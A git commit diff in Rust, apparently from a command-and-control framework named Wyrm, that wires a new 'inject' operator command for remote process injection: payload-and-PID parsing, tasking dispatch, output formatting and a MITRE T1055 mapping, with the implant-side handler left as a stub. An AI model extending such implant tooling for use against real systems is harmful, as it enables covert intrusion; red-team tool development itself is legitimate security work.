Process injection wrap around

This commit is contained in:
flux
2025-12-31 15:01:58 +00:00
parent fc17c67a1a
commit b6ac5bfeb9
7 changed files with 82 additions and 4 deletions
@@ -147,6 +147,10 @@ pub async fn admin_dispatch(
AdminCommand::StaticWof(name) => {
task_agent::<String>(Command::StaticWof, Some(name), uid.unwrap(), state).await
}
AdminCommand::Inject(inject_inner) => {
let ser = serde_json::to_string(&inject_inner).unwrap();
task_agent::<String>(Command::StaticWof, Some(ser), uid.unwrap(), state).await
}
};
serde_json::to_vec(&result).unwrap()
+12
View File
@@ -177,6 +177,7 @@ fn command_to_string(cmd: &Command) -> String {
Command::WhoAmI => "whoami",
Command::Spawn => "Spawn",
Command::StaticWof => "Static WOF",
Command::Inject => "Inject",
};
c.into()
@@ -537,6 +538,17 @@ impl FormatOutput for NotificationForAgent {
return vec!["An error occurred.".to_string()];
}
}
Command::Inject => {
if let Some(msg) = &self.result {
let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap();
match s {
WyrmResult::Ok(s) => return vec![s],
WyrmResult::Err(e) => return vec![format!("Error: {e}")],
}
} else {
return vec!["An error occurred.".to_string()];
}
}
}
//
+2 -1
View File
@@ -9,7 +9,7 @@ use crate::{
net::{ApiError, IsTaskingAgent, IsTaskingAgentErr},
tasks::task_impl::{
FileOperationTarget, RegOperationDelQuery, TaskDispatchError, change_directory,
clear_terminal, copy_file, dir_listing, dotex, export_db, file_dropper, kill_agent,
clear_terminal, copy_file, dir_listing, dotex, export_db, file_dropper, inject, kill_agent,
kill_process, list_processes, move_file, pillage, pull_file, pwd, reg_add, reg_query_del,
remove_agent, remove_file, run_powershell_command, run_static_wof, set_sleep, show_help,
show_help_for_command, show_server_time, spawn, unknown_command, whoami,
@@ -115,6 +115,7 @@ async fn dispatcher(tokens: Vec<&str>, raw_input: String, agent: IsTaskingAgent)
["whoami"] => whoami(&agent).await,
["spawn", _p @ ..] => spawn(raw_input, &agent).await,
["wof", _p @ ..] => run_static_wof(&agent, raw_input).await,
["inject", _p @ ..] => inject(&agent, raw_input).await,
_ => unknown_command(),
}
}
+39 -1
View File
@@ -4,7 +4,10 @@ use chrono::{DateTime, Utc};
use leptos::prelude::{Read, RwSignal, Update, Write, use_context};
use shared::{
task_types::{RegAddInner, RegQueryInner, RegType},
tasks::{AdminCommand, DELIM_FILE_DROP_METADATA, DotExInner, FileDropMetadata, WyrmResult},
tasks::{
AdminCommand, DELIM_FILE_DROP_METADATA, DotExInner, FileDropMetadata, InjectInner,
WyrmResult,
},
};
use thiserror::Error;
@@ -865,3 +868,38 @@ pub async fn run_static_wof(agent: &IsTaskingAgent, raw_input: String) -> Dispat
.await?,
))
}
pub async fn inject(agent: &IsTaskingAgent, raw_input: String) -> DispatchResult {
agent.has_agent_id()?;
let (payload, pid_as_string) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop)
{
Some(mut inner) => (take(&mut inner[0]), (take(&mut inner[1]))),
None => {
return Err(TaskingError::TaskDispatchError(
TaskDispatchError::BadTokens("Could not get data from tokens in move_file.".into()),
));
}
};
let Ok(pid) = pid_as_string.parse::<u32>() else {
return Err(TaskingError::TaskDispatchError(
TaskDispatchError::BadTokens(format!(
"Could not parse PID to a u32. Got: {pid_as_string}"
)),
));
};
let inner = InjectInner { payload, pid };
Ok(Some(
api_request(
AdminCommand::Inject(inner),
agent,
None,
C2Url::Standard,
None,
)
.await?,
))
}
+4
View File
@@ -373,6 +373,10 @@ impl Wyrm {
self.push_completed_task(&task, Some(result));
}
Command::Inject => {
// todo
self.push_completed_task::<String>(&task, None);
}
}
}
}
+13
View File
@@ -55,6 +55,8 @@ pub enum Command {
ConsoleMessages,
Spawn,
StaticWof,
/// Perform remote process injection
Inject,
// This should be totally unreachable; but keeping to make sure we don't get any weird UB, and
// make sure it is itemised last in the enum
Undefined,
@@ -195,6 +197,7 @@ impl Display for Command {
Command::WhoAmI => "whoami",
Command::Spawn => "SpawnChild",
Command::StaticWof => "StaticWof",
Command::Inject => "Inject",
};
write!(f, "{choice}")
@@ -208,6 +211,15 @@ pub struct DotExInner {
pub args: Vec<String>,
}
#[derive(Serialize, Deserialize, Clone)]
#[serde(rename = "1")]
pub struct InjectInner {
#[serde(rename = "2")]
pub payload: String,
#[serde(rename = "3")]
pub pid: u32,
}
impl DotExInner {
pub fn from(tool_path: String, args: Vec<String>) -> Self {
Self { tool_path, args }
@@ -250,6 +262,7 @@ pub enum AdminCommand {
WhoAmI,
Spawn(String),
StaticWof(String),
Inject(InjectInner),
/// Used for dispatching no admin command, but to be handled via a custom route on the C2
None,
Undefined,
+8 -2
View File
@@ -56,6 +56,7 @@ pub fn command_to_string(cmd: &Command) -> String {
Command::WhoAmI => "whoami",
Command::Spawn => "Spawn",
Command::StaticWof => "Static WOF",
Command::Inject => "Inject",
};
c.into()
@@ -243,13 +244,18 @@ impl<'a> MapToMitre<'a> for Command {
"Process Injection",
"https://attack.mitre.org/techniques/T1055/",
),
// This was the closest I could find for a WOF
Command::StaticWof => MitreTTP::from(
"T1027",
None,
" Obfuscated Files or Information",
"Obfuscated Files or Information",
"https://attack.mitre.org/techniques/T1027/",
),
Command::Inject => MitreTTP::from(
"T1055",
None,
"Process Injection",
"https://attack.mitre.org/techniques/T1055/",
),
}
}
}